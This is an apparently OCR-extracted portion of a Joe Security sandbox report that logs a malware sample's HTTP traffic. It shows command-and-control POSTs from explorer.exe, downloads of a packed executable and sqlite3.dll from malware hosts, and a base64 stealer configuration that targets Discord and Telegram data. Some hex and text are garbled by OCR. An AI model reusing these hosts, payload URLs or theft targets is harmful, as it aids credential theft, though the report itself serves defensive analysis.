2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe
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Timestamp

Dec 1, 2021
09:14:17.105689049 CET

Dec 1, 2021
09:14:17.211118937 CET

Session ID

35

Timestamp

Dec 1, 2021
09:14:17.609708071 CET

Dec 1, 2021
09:14:17.711420059 CET

Session ID
36

Timestamp

Dec 1, 2021
09:14:17.888834953 CET

Dec 1, 2021
09:14:17.992974997 CET

Session ID

37

kBytes
transferred

3765

3765

Source IP

192.168.2.4
kBytes

transferred

3766

3767

Source IP
192.168.2.4

kBytes

transferred
3768

3769

Source IP

192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49791

Direction

ouT

Source Port
49792

Direction
ouT

Source Port

49793

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rbuygamdy.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 267

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://omxkjxm.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 354

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xigvfc.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 356

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:17 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe
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Timestamp

Dec 1, 2021
09:14:18.146295071 CET

Dec 1, 2021
09:14:18.239940882 CET

Session ID

38

Timestamp

Dec 1, 2021
09:14:18.325067043 CET

Dec 1, 2021
09:14:18.428277969 CET

Session ID
39

Timestamp

Dec 1, 2021
09:14:18.881853104 CET

kBytes
transferred

3770

3770

Source IP

192.168.2.4

kBytes
transferred

3771

3772

Source IP
192.168.2.4

kBytes
transferred

3772

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49794

Direction

ouT

Source Port
49795

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nwglosscc.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 161

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bkjjovgxmd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 354

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:18 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08
93 31 f9 55 50 99 4a 7 €0 25 e5 39 1a 4a ed ac 8e 70 bc 57 da 4a d6 f7 22 81 20 ea c3 96 53 28 ef a8 1d 63 a9 0d Oa 30
0d Oa 0d Oa

Data Ascii: 461:820U&1UPJ%9JpWJ" S(cO

Destination IP  Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

GET /files/4152_1638095425_4339.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-file-host-3.com
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kBytes
Timestamp transferred

Dec 1, 2021 3774
09:14:18.963581085 CET

Session ID Source IP
4 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 1082

09:13:56.028903961 CET

Dec 1, 2021 1083
09:13:56.128304005 CET

Session ID Source IP

40 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49759

Direction
ouT

Source Port

49796

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:18 GMT

Content-Type: application/x-msdos-program

Content-Length: 2740224

Connection: close

Last-Modified: Sun, 28 Nov 2021 10:30:25 GMT

ETag: "29d000-5d1d6cff91027"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 07 f6 17 4c 43 97 79 1f 43 97 79 1f 43 97 79 1f 57 fc 7a 1e 48 97 79 1f 57 fc 7c 1e
e597 79 1f 57 fc 7d 1e 51 97 79 1f 57 fc 7e 1e 42 97 79 1f 11 e2 7d 1e 52 97 79 1f 11 e2 7a 1e 56 97 79 1f 11 e2 7c 1e 69
97 79 1f 57 fc 78 1e 50 97 79 1f 43 97 78 1f d0 97 79 1f f6 e2 70 1e 44 97 79 1f f6 e2 86 1f 42 97 79 1f f6 e2 7b 1e 42 97
79 1f 52 69 63 68 43 97 79 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01
09 00 77 37 a3 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01 Oe 1d 00 40 03 00 00 1c 01 00 00 00 00 00 10 52 46 00 00
10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6e 00
00 04 00 00 e5 b2 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00
00 00 00 00 00 fb 90 04 00 f8 00 00 00 00 a0 04 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 ed 3e 03 00 00 10 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00
00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 04 da 00 00 00 50 03 00 00 50 00 00 00 94 01 00 00 00 00 00 00 00
00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 24 18 00 00 00 30 04 00 00 04 00 00 00 e4 01 00 00 00 00 00 00
00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 e0 01 00 00 00 50 04 00 00 02 00 00 00 €8 01 00 00 00 00 00
00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 1c 22 00 00 00 60 04 00 00 1e 00 00 00 ea 01 00 00 00 00
00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 10 00 00 00 90 04 00 00 02 00 00 00 08 02 00 00 00
00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 04 00 00 02 00 00 00 Oa 02 00 00
00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 a0 41 00 00 b0 04 00 00 00 00 00 00 Oc 02 00
00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 €0 2e 62 6f 6f 74 00 00 00 00 c4 27 00 00 50 46 00 00 c4 27 00 00 Oc 02 00
00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 77 ba 2f 43 31 f0 Oe da 6b c3 5¢ d3 df d8 e3 d4 d7 fc df dO d2 2d ff 55 bb b4 b8 d8 4e c5 €8 dd 16 c7 8b 8¢ fd
bf 73 ca f0 88 d3 1a b7 d2 75 95 ff 93 19

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$LCyCyCyWzHyW|yW}QyW~By}RyzVy|iyWxPyCxypDyB
y{ByRichCyPELW7a@RFP@ n*@ >0 PP@@ $0@ P@Q@ " @B.idata@.rsrc@@.themidaA™.boo
t'PF™"w/C1k\-UNsu

Destination IP Destination Port Process
95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://sqdIx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 288

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:13:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Dec 1, 2021 5684
09:14:19.923051119 CET

Dec 1, 2021 5843
09:14:20.026211023 CET

Session ID Source IP
41 192.168.2.4

kBytes
Timestamp transferred
Dec 1, 2021 6082

09:14:20.137711048 CET

Dec 1, 2021 6321
09:14:20.224169970 CET

Session ID Source IP

42 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49797

Direction

ouT

Source Port

49798

Data

GET /tratata.php HTTP/1.1
Host: file-file-host4.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Wed, 01 Dec 2021 08:14:19 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: PHPSESSID=t42nernt19g8nshjut69kb7u9v; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Data Raw: 63 34 0d Oa 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52
42 56 45 45 6¢ 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e
77 78 66 44 42 38 4d 48 78 55 5a 57 78 6¢ 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a
57 78 6¢ 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33
Af 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38
4d 48 77 77 66 41 3d 3d 0d 0a 30 0d Oa 0d Oa

Data Ascii: c4AMXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEEIXGRpc2NvemRcTG9jYWwgU3RvemFnZVx8KnwxfDB8
MHXUZWxIZ3JhbXwwfCVBUFBEQVRBJIVXUZWxXIZ3JhbSBEZXNrdGOwWXHRKYXRhXHWgRDg3NOY30ODNENUQz
RUY4QyosKm1lhcCosKmNvbmZpZ3MgfDF8MHwwA==0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

GET /sqlite3.dll HTTP/1.1

Host: file-file-host4.com

Cache-Control: no-cache

Cookie: PHPSESSID=t42nernt19g8nsbjut69kb7udv

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Wed, 01 Dec 2021 08:14:20 GMT

Content-Type: application/x-msdos-program

Content-Length: 645592

Connection: close

Last-Modified: Thu, 21 Oct 2021 11:48:30 GMT

ETag: "9d9d8-5cedb79317f80"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f Oc 00 00 e0 00 06 21 Ob 01
02 15 00 d0 06 00 00 €0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 €0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04
00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 ¢3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c Oa 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cO ce 06 00
00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 Of 00
00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 cO 2e 72 64 61 74 61 00 00 24 ad
00 00 00 f0 06 00 00 ae 00 00 00 €6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98
04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 cO 2e 65 64 61 74 61 00 00
98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00
00 4c 0a 00 00 00 dO 07 00 00 Oc 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 43 52 54 00 00
00 00 18 00 00 00 00 €0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6¢ 73 00
00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 72 65 6¢ 6f
63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00
00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 €6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39
00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33
3500 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f
35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42
2f 36 33 00 00 00 00 00 84 0Od 00 00 00 b0 08 00 00 Oe 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10
42 2f 37 37 00 00 00 00 00 94 Ob 00 00 00 cO 08 00 00 Oc 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 dO 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 O
030 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X" 8 L'p.text'0".data@@.rdata$@@@.
bss@.edata@0@.idatalL @0.CRT@0.tls @0.reloc'(@0B/4 0@ @B/19@ @B/35MP@B/51'C’'D@B/638@B/77F@B/89
R@0B/102X@B/113

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe
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Timestamp

Dec 1, 2021
09:14:26.490838051 CET

Dec 1, 2021
09:14:26.590754986 CET

Session ID

43

Timestamp

Dec 1, 2021
09:14:26.680505037 CET

Dec 1, 2021
09:14:26.781894922 CET

Session ID
44

Timestamp

Dec 1, 2021
09:14:26.937504053 CET

Dec 1, 2021
09:14:27.039542913 CET

Session ID

45

kBytes
transferred

7313

7314

Source IP

192.168.2.4
kBytes

transferred

7315

7315

Source IP
192.168.2.4

kBytes

transferred
7316

7317

Source IP

192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49799

Direction

ouT

Source Port
49800

Direction
ouT

Source Port

49801

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pborgy.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 200

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:26 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hqppgl.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 216

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP  Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lybcka.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 275

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Dec 1, 2021 7318

09:14:27.149297953 CET

Dec 1, 2021 7318

09:14:27.250431061 CET

Session ID Source IP

46 192.168.2.4
kBytes

Timestamp transferred

Dec 1, 2021 7319

09:14:27.433342934 CET

Dec 1, 2021 7320

09:14:27.534075975 CET

Session ID Source IP

47 192.168.2.4
kBytes

Timestamp transferred

Dec 1, 2021 7321

09:14:27.630956888 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49802

Direction

ouT

Source Port
49803

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://buintdmfv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 128

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

95.213.165.249 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://slymghed.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 285

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Wed, 01 Dec 2021 08:14:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

